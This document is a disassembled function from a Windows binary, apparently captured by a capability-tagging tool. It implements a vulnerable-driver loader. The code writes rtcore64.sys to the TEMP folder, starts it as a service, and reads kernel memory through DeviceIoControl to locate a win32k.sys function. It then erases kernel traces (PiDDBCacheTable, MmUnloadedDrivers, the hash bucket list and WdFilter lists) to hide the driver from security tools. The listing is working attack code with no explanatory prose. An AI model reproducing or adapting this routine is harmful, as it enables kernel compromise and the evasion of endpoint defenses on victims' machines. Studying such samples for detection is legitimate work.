Function at 0x1400045e0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
movzx r12d, cl
xor r13d, r13d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, str.systemroot
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov rdx, qword [rbp - 0x78]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x140004670
lea rcx, [rsp + 0x40]
call fcn.14000c9f0
nop
mov r8d, 0x14
lea rdx, str.System32win32k.sys
lea rcx, [rsp + 0x40]
call fcn.14000a0f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400046f9
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
movdqa xmm0, xmmword [0x14001d660]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x60]
mov qword [rbp - 0x70], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8d, 0x2b
lea rdx, str.https:__msdl.microsoft.com_download_symbols
lea rcx, [rsp + 0x60]
call fcn.14000c9f0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140009af0
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140003bb0
nop
lea rcx, [rbp - 0x40]
call fcn.140003ce0
test al, al
jne 0x14000479c
lea rdx, str.____Failed_to_Load_PDB
jmp 0x1400048b1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov r8d, 0x16
lea rdx, str.NtUserSetGestureConfig
lea rcx, [rsp + 0x40]
call fcn.14000c9f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x80], 0x58
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rbp + 0x80]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymFromName]
mov rdx, qword [rsp + 0x58]
test eax, eax
jne 0x14000485e
cmp rdx, 0xf
jbe 0x1400048aa
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004857
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004899
call fcn.140013fe0
jmp 0x1400048aa
mov esi, dword [rbp + 0xb8]
sub esi, dword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400048a5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
cmp esi, 0xffffffff
jne 0x1400048d2
lea rdx, str.____Failed_to_Load_Symbol_of_NtUserSetGestureConfig
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a3c0
lea rdx, [0x14000a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004ed2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140023bb0], xmm0
movups xmmword [0x140023bc0], xmm0
movups xmmword [0x140023bd0], xmm0
movups xmmword [0x140023be0], xmm0
movups xmmword [0x140023bf0], xmm0
movups xmmword [0x140023c00], xmm0
mov dword [0x140023c10], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd r14, r8d
test r8d, r8d
jle 0x14000499d
mov rbx, r13
lea r15, [0x140000000]
movabs r13, 0x4ec4ec4ec4ec4ec5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + r15 + 0x1c2c0]
mov byte [rbx + r15 + 0x23bb0], al
inc rbx
cmp rbx, r14
jl 0x140004967
xor r13d, r13d
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a3c0
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400040c0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1400049cc
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.14000d590
lea rdx, [0x14000a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004a2d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
lea rcx, [rbp - 0x68]
call fcn.1400042e0
nop
cmp qword [rbp - 0x58], 0
jne 0x140004a66
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a3c0
lea rdx, [0x14000a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004e7e
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp + 0xe0]
call fcn.1400089c0
nop
mov r8d, 0x36c8
lea rdx, [0x1400189c0]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xe8]
test al, al
je 0x140004b23
call fcn.140009ef0
test rax, rax
jne 0x140004b0b
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004000
lea rdx, str.____Failed_to_create_vulnerable_driver_file
jmp 0x140004a45
call fcn.140009ef0
test rax, rax
jne 0x140004b50
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004000
lea rcx, [rbp - 0x68]
call fcn.140012900
test al, al
jne 0x140004ba5
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a3c0
lea rdx, [0x14000a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140004e7e
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [0x1400169f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140023c20], rax
cmp rax, 0xffffffffffffffff
jne 0x140004beb
lea rdx, str.____Failed_to_load_driver_rtcore64.sys
jmp 0x140004e59
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xc
lea rdx, [0x140016d10]
lea rcx, [rsp + 0x60]
call fcn.14000c9f0
nop
lea rcx, [rsp + 0x60]
call fcn.1400132c0
mov qword [0x140023ba8], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004c6c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
mov rax, qword [0x140023ba8]
test rax, rax
jne 0x140004c7d
lea rdx, str.____Failed_to_get_ntoskrnl.exe
jmp 0x140004e59
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xa
lea rdx, str.win32k.sys
lea rcx, [rsp + 0x60]
call fcn.14000c9f0
nop
lea rcx, [rsp + 0x60]
call fcn.1400132c0
mov rbx, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004cf3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004cee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
test rbx, rbx
jne 0x140004d10
lea rdx, str.____win32k.sys_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a7c0
jmp 0x140004e75
movsxd rdx, esi
add rdx, rbx
lea rax, [0x140016d8c]
mov qword [rsp + 0x20], rax
lea r9, [0x140016d90]
mov r8d, 0x100
call fcn.140007b00
mov r14, rax
test rax, rax
je 0x140004e52
mov dword [rbp - 0x70], r13d
mov rbx, r13
lea rcx, [rbp - 0x70]
mov r15, rax
sub r15, rcx
add r15, 3
nop word [rax + rax]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c], xmm0
mov dword [rbp + 0x4c], r13d
lea rsi, [rbp - 0x70]
add rsi, rbx
lea rax, [rsi + r15]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x38], 1
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x30
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x20]
mov edx, 0x80002048
mov rcx, qword [0x140023c20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140004e52
movzx eax, byte [rbp + 0x3c]
mov byte [rsi], al
inc rbx
cmp rbx, 4
jb 0x140004d60
movsxd rcx, dword [rbp - 0x70]
add rcx, 7
add rcx, r14
mov qword [0x140023ba0], rcx
test r12b, r12b
je 0x140004e4d
call fcn.1400072b0
test al, al
jne 0x140004e01
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
jmp 0x140004e59
mov rcx, rdi
call fcn.140007ea0
test al, al
jne 0x140004e16
lea rdx, str.____Failed_to_ClearKernelHashBucketList
jmp 0x140004e59
mov rcx, qword [0x140023c20]
call fcn.140006810
test al, al
jne 0x140004e2f
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
jmp 0x140004e59
call fcn.140005010
test al, al
jne 0x140004e4d
lea rdx, str.____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a7c0
jmp 0x140004e65
mov rdi, r13
jmp 0x140004e7e
lea rdx, str.____NtUserSetGestureConfig_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a3c0
lea rdx, [0x14000a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.140005a80
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140004ec1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ebc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ebc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
cmp byte [rbp - 0x1f], 0
je 0x140004f05
mov edx, 0x10000000
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140004f3c
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f7e
call fcn.140013fe0
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140004f8a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
movdqa xmm0, xmmword [0x14001d660]
movdqa xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140004fd9
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013fe0
mov rax, rdi
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140013fc0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret